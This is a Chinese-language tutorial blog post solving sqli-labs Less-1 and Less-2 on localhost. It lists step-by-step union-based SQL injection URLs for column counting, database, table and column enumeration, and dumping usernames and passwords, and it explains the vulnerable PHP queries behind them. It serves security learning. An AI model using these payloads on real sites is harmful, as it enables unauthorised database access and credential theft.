爲什麼要把這個兩個放一起寫在博客裏呢,因爲這兩個非常像
當然也有人和我一樣不懂爲啥他們有的帶’,有的又不帶,還有帶括號的,很多,其實我覺得都是經驗之談
推薦一個i春秋上的帖子,掛上鏈接,可以看一下,寫的挺好的
深入淺出玩轉SQL注入(含過狗)
開始我們的題目,sql注入在有的教程裏分什麼字符型,數字型,其實都是一樣的,都是在滿足sql查詢的條件,同時爲什麼這麼構造,我們也在最後再說
Sql注入基本方法
- 判斷Sql注入,在最後加上’ ,如果出錯,可以判斷存在sql注入
- 爆數據庫
- 爆表名
- 爆字段名
- 查詢
第一題
- 判斷 + ’
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27
頁面報錯,存在sql注入
-
爆數據庫
查看回顯的字段數網址 頁面提示 是否正常 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 5 --+ Unknown column ‘5’ in ‘order clause’ 否 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+ - 是 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 4 --+ Unknown column ‘4’ in ‘order clause’ 否 說明字段數是3
查看回顯字段
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,2,3–+說明回顯字段是2,3
查看數據庫名和數據庫版本
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,version(),database() --+
數據庫名是security,版本是10.3.15-MariaDB-1 -
爆表名
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479–+
這個0x7365637572697479是security的16進制形式,寫成16進制的形式是不用加引號的,可以看到有email,referers,uagents,users,表
- 爆字段名
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1‘ union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479–+
- 查看數據
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,username,password from users where id=1 --+
第二題
第二題和第一題不一樣的是在id=1之後的引號以及最後的–+上
我們直接貼上結果
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1 order by 3
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,version(),database()
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,username,password from users where id=1
比較
第一題在查看sql查詢的源碼的時候,php的語句是這麼寫的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以我們在構造語句的時候都是在滿足查詢條件的語句
比如爆數據庫,
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+
這個時候,sql語句是什麼
$sql="SELECT * FROM users WHERE id='1' order by 3 --+ LIMIT 0,1";
現在知道爲啥要構造’了吧,爲了滿足查詢語句的語法要求,而–+之後的會被sql語句忽略
在看看第二題,php的語句是這麼寫的
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
如果還是按照第一題一樣的就是
$sql="SELECT * FROM users WHERE id=1' order by 3 --+ LIMIT 0,1";
這樣語法就錯誤了,必須去掉引號
$sql="SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1";
這樣就滿足查詢條件,成功查詢
但是在實際的操作中,應該就是試